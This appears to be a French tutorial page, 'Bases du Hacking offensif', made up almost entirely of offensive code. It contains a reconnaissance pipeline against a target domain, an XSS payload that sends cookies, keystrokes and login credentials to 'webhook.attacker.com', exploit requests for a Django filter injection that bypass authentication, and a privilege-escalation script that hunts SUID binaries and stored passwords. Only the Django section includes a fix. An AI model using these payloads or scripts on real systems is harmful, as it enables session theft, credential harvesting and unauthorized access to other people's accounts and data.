Bases du
Hacking
offensif

# Pipeline de recon complet sur un domaine
TARGET="target.com"

# 1. Sous-domaines
subfinder -d $TARGET -silent | dnsx -silent > subdomains.txt
amass enum -passive -d $TARGET >> subdomains.txt

# 2. IPs actives
cat subdomains.txt | dnsx -a -resp-only > ips.txt

# 3. Ports ouverts (rapide)
nmap -sS --open -p- --min-rate 10000 -iL ips.txt -oG ports.txt

# 4. Détection CVE avec Nuclei
cat subdomains.txt | httpx -silent | \
  nuclei -t cves/ -severity critical,high -silent -o vulns.txt

# 5. Secrets dans les URLs
gau $TARGET | grep -E "token=|api_key=|secret=|password="

// Payload XSS complet — exfiltration de session + keylogger
// À injecter dans un champ vulnérable (commentaire, nom, paramètre GET)

const ATTACKER = 'https://webhook.attacker.com';

// 1. Vol de cookies (si pas HttpOnly)
new Image().src = `${ATTACKER}/c?v=${btoa(document.cookie)}`;

// 2. Capture des frappes (keylogger)
let buf = '';
document.addEventListener('keypress', e => {
  buf += e.key;
  if (buf.length > 20) {
    fetch(`${ATTACKER}/k`, { method: 'POST', body: buf }); buf = '';
  }
});

// 3. Capture de formulaire de login (credential harvesting)
document.querySelector('form')?.addEventListener('submit', e => {
  const data = new FormData(e.target);
  fetch(`${ATTACKER}/creds`, {
    method: 'POST',
    body: JSON.stringify(Object.fromEntries(data))
  });
});

# VULNÉRABLE — pattern courant dans les APIs Django
# L'attaquant contrôle les clés du dict passé à filter(**)
def search_users(request):
    filters = request.GET.dict()          # ← données attaquant
    users = User.objects.filter(**filters) # ← injection ici
    return JsonResponse({'users': list(users.values())})

# EXPLOIT — bypass d'authentification sans mot de passe
# GET /api/users?_connector=OR&is_superuser=True
# → SELECT * FROM users WHERE (original) OR is_superuser=True
# → retourne tous les comptes admin

# EXPLOIT 2 — accès à des documents confidentiels
# GET /api/docs?_connector=OR&confidential=True
# → contourne le filtre owner=request.user

# ─────────────────────────────────────────────
# CORRECTION — whitelist explicite des champs autorisés
ALLOWED_FILTERS = {'username', 'email', 'is_active'}

def search_users_safe(request):
    raw = request.GET.dict()
    # Ne conserver que les clés autorisées
    filters = {k: v for k, v in raw.items() if k in ALLOWED_FILTERS}
    users = User.objects.filter(**filters)
    return JsonResponse({'users': list(users.values())})

#!/bin/bash — Énumération rapide PrivEsc

echo "=== Kernel ==="
uname -a; cat /etc/os-release

echo "=== Sudo rights ==="
sudo -l 2>/dev/null

echo "=== SUID binaries ==="
find / -perm -4000 -type f 2>/dev/null | grep -v proc

echo "=== Writable cron scripts ==="
cat /etc/crontab /etc/cron* 2>/dev/null | grep -v "^#"

echo "=== World-writable files ==="
find /etc /var /usr -writable -type f 2>/dev/null | head -20

echo "=== Passwords in files ==="
grep -r "password\|passwd\|secret\|api_key" /var/www /opt 2>/dev/null | \
  grep -v "Binary" | head -15

echo "=== Network connections ==="
ss -tulnp | grep -v "127.0.0.1"